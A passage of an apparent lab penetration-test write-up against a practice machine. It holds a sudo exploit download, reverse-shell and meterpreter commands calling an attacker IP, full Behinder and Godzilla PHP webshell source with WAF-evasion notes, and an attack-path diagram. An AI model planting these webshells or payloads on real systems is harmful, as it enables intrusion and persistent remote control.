&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;wget https://codeload.github.com/blasty/CVE-2021-3156/zip/main -O blasty.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;unzip blasty.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; CVE-2021-3156-main
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;make
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;When running, specify the target system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./sudo-hax-me-a-sandwich
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Lists supported targets — find the Ubuntu 16.04 entry number&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;./sudo-hax-me-a-sandwich &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="c1"&gt;# Replace 0 with the correct number&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316113503940.png"&gt;&lt;/p&gt;
&lt;p&gt;No matching preset target. Ubuntu 16.04 + sudo 1.8.16 is not in the list. Manual mode requires precise offset calculation — quite cumbersome.&lt;/p&gt;
&lt;p&gt;Abandoning this path entirely. CVE-2021-3156 is actually not viable on this machine because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;glibc 2.23 is too old — tcache version doesn&amp;rsquo;t work&lt;/li&gt;
&lt;li&gt;blasty&amp;rsquo;s version has no preset offsets for Ubuntu 16.04&lt;/li&gt;
&lt;li&gt;Manual offset calculation requires a local debugging environment&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="common-webshell-techniques"&gt;Common WebShell Techniques
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;1. Reverse Shell (already used)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cp /usr/share/webshells/php/php-reverse-shell.php .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sed -i -E &lt;span class="s2"&gt;&amp;#34;s/ip\s*=\s*&amp;#39;127\.0\.0\.1&amp;#39;\s*;/ip = &amp;#39;172.168.169.128&amp;#39;;/g; s/port\s*=\s*1234\s*;/port = 4777;/g&amp;#34;&lt;/span&gt; php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. Webacoo&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Install&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;apt install webacoo -y
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Generate encrypted webshell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;webacoo -g -o shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Connect&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;webacoo -t -u https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Feature: traffic is base64-encoded, bypasses simple WAFs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Weevely&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Generate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;weevely generate hacker123 shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Connect&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;weevely https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php hacker123
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Feature: traffic obfuscation, powerful — built-in file manager/port scanner/privilege escalation suggestions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. MSF Generation&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Generate meterpreter reverse shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;msfvenom -p php/meterpreter/reverse_tcp &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;LHOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;172.168.169.128 &lt;span class="nv"&gt;LPORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;4444&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt; -f raw &amp;gt; shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# MSF listener&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;msfconsole -q -x &lt;span class="s2"&gt;&amp;#34;use multi/handler; \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; set payload php/meterpreter/reverse_tcp; \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; set LHOST 172.168.169.128; \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt; set LPORT 4444; run&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Feature: obtains meterpreter session — the most powerful, directly compatible with subsequent privilege escalation modules.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Behinder (冰蝎)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Fixed PHP shell template for Behinder&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; shell.php &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@error_reporting(0);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;session_start();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$key=&amp;#34;e45e329feb5d925b&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$_SESSION[&amp;#39;k&amp;#39;]=$key;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;session_write_close();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$post=file_get_contents(&amp;#34;php://input&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;if(!extension_loaded(&amp;#39;openssl&amp;#39;)){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $t=&amp;#34;base64_decode&amp;#34;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $post=$t($post.&amp;#34;&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; for($i=0;$i&amp;lt;strlen($post);$i++){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $post[$i]=$post[$i]^$key[$i+1&amp;amp;15];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}else{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $post=openssl_decrypt($post,&amp;#34;AES128&amp;#34;,$key);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$arr=explode(&amp;#39;|&amp;#39;,$post);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$func=$arr[0];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$params=$arr[1];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;class C{public function __construct($p){eval($p);}}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@new C($params);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Connect using the Behinder client. Default key: &lt;code&gt;e45e329feb5d925b&lt;/code&gt;. Traffic is AES encrypted — best WAF bypass capability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Godzilla (哥斯拉)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; shell.php &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@session_start();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@set_time_limit(0);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;@error_reporting(0);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;function encode($D,$K){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; for($i=0;$i&amp;lt;strlen($D);$i++){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $c=$K[$i+1&amp;amp;15];
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $D[$i]=$D[$i]^$c;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; return $D;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$pass=&amp;#39;pass&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$payloadName=&amp;#39;payload&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$key=&amp;#39;3c6e0b8a9c15224a&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;if(isset($_POST[$pass])){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $data=encode(base64_decode($_POST[$pass]),$key);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; if(isset($_SESSION[$payloadName])){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $payload=encode($_SESSION[$payloadName],$key);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; eval($payload);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; echo substr(md5($pass.$key),0,16);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; echo base64_encode(encode(@run($data),$key));
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; echo substr(md5($pass.$key),16);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }else{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; if(stripos($data,&amp;#34;getBasicsInfo&amp;#34;)!==false){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; $_SESSION[$payloadName]=encode($data,$key);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Tool Comparison:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;Tool&lt;/th&gt;
 &lt;th&gt;Traffic Characteristics&lt;/th&gt;
 &lt;th&gt;Capability&lt;/th&gt;
 &lt;th&gt;Best Use Case&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;Reverse Shell&lt;/td&gt;
 &lt;td&gt;Plaintext&lt;/td&gt;
 &lt;td&gt;Basic&lt;/td&gt;
 &lt;td&gt;Quick shell access&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Weevely&lt;/td&gt;
 &lt;td&gt;Obfuscated&lt;/td&gt;
 &lt;td&gt;Medium&lt;/td&gt;
 &lt;td&gt;WAF environments&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Webacoo&lt;/td&gt;
 &lt;td&gt;base64&lt;/td&gt;
 &lt;td&gt;Medium&lt;/td&gt;
 &lt;td&gt;Simple bypass&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;MSF&lt;/td&gt;
 &lt;td&gt;Encryptable&lt;/td&gt;
 &lt;td&gt;Strongest&lt;/td&gt;
 &lt;td&gt;Subsequent privilege escalation needed&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Behinder&lt;/td&gt;
 &lt;td&gt;AES encrypted&lt;/td&gt;
 &lt;td&gt;Strong&lt;/td&gt;
 &lt;td&gt;Enterprise WAF environments&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;Godzilla&lt;/td&gt;
 &lt;td&gt;XOR encrypted&lt;/td&gt;
 &lt;td&gt;Strong&lt;/td&gt;
 &lt;td&gt;Commonly used on Chinese practice ranges&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="pitfalls"&gt;Pitfalls
&lt;/h2&gt;&lt;h3 id="nmap-network-fluctuation-missed-ports"&gt;Nmap Network Fluctuation Missed Ports
&lt;/h3&gt;&lt;p&gt;The &lt;code&gt;/var/www/http&lt;/code&gt; website directory clearly contains webpage files:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144205719.png"&gt;&lt;/p&gt;
&lt;p&gt;But no matter how many times the website was refreshed, nothing appeared. Appending directories also didn&amp;rsquo;t help — suspected nmap missed some ports.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144251153.png"&gt;&lt;/p&gt;
&lt;p&gt;Rescanning revealed new ports — port 12380 turned out to be the web server:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144543833.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314144724114.png"&gt;&lt;/p&gt;
&lt;p&gt;Viewing the page source confirmed that port 12380 corresponds to the &lt;code&gt;/var/www/http&lt;/code&gt; website directory:&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145147913.png"&gt;&lt;/p&gt;
&lt;h2 id="summary"&gt;Summary
&lt;/h2&gt;&lt;h3 id="attack-path-diagram"&gt;Attack Path Diagram
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;
flowchart TD
 %% Asset list
 A[Kali attacker]
 B[Target machine]
 C[Port 21: FTP username leak]
 
 D[elly FTP account]
 E[Port 22: SHayslett SSH account]
 F[peter high-privilege account]
 G[root]
 H[Port 139: SMB service]
 I[Port 3306: MySQL / Port 12380: phpMyAdmin]
 K[Port 12380: Blog system]
 L[Cron job]
 M[Port 666: nc service]

 
 %% Path relationships
 A--&gt;|scan|B
 B--&gt;|FTP anonymous login|C
 C--&gt;|hydra brute-force|D
 D--&gt;|passwd leak via FTP hydra brute-force|E
 E--&gt;|bash_history password leak|F
 F--&gt;|sudo -s direct escalation|G
 B--&gt;H--&gt;|SMB enum username leak hydra brute-force|E
 E--&gt;|www config reveals DB password|I
 I--&gt;|DB password john crack|K
 E--&gt;|CVE-2016-4557 kernel exploit|G
 E--&gt;|CVE-2021-4034 kernel exploit|G
 E--&gt;L--&gt;|logrotate write permission|G
 B--&gt;I
 B--&gt;K
 

 K --&gt;|advanced-video LFI get wp-config no login required|I
 K --&gt;|advanced-video LFI get passwd no login required| E
 K --&gt;|WP admin upload reverse shell|F
 I--&gt;|mysql outfile webshell|E
 E--&gt;|linpeas reveals nc service logic|M
 L--&gt;|logrotate rewrites nc service logic|M--&gt;G
 
	%% Line styles: --- (solid), -.-&gt; (dashed), ==&gt; (thick arrow)
	%% --&gt;|condition|: connection with condition text
	%% Rectangle node[ ], diamond decision node{ }, rounded node()
 %% Style definitions
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
 %% Line style and color scheme (light/dark mode compatible)
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

 %% Apply styles
	 A
attack
	 B
public
	 C
public
	 K
public
	 H
public
	 D
public
	 E
internal
	 F
internal
	 G
internal
	 I
public
	 L
internal
	 M
public&lt;/pre&gt;&lt;p&gt;&lt;img alt="Structured Red Team Flow-2026-03-16-054912.png" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/Structured%20Red%20Team%20Flow-2026-03-16-054912.png"&gt;&lt;/p&gt;
&lt;h3 id="attack-timeline"&gt;Attack Timeline
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title Attack Timeline
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %m/%d %H:%M
 
 section Reconnaissance Phase
 Target scanning :a1, 2026-03-14 11:11, 2026-03-14 11:30
 Vulnerability identification :a2, after a1, 2026-03-14 14:37

 
 section Attack Phase
 Initial access :crit, b1, after a2, 2026-03-14 15:09
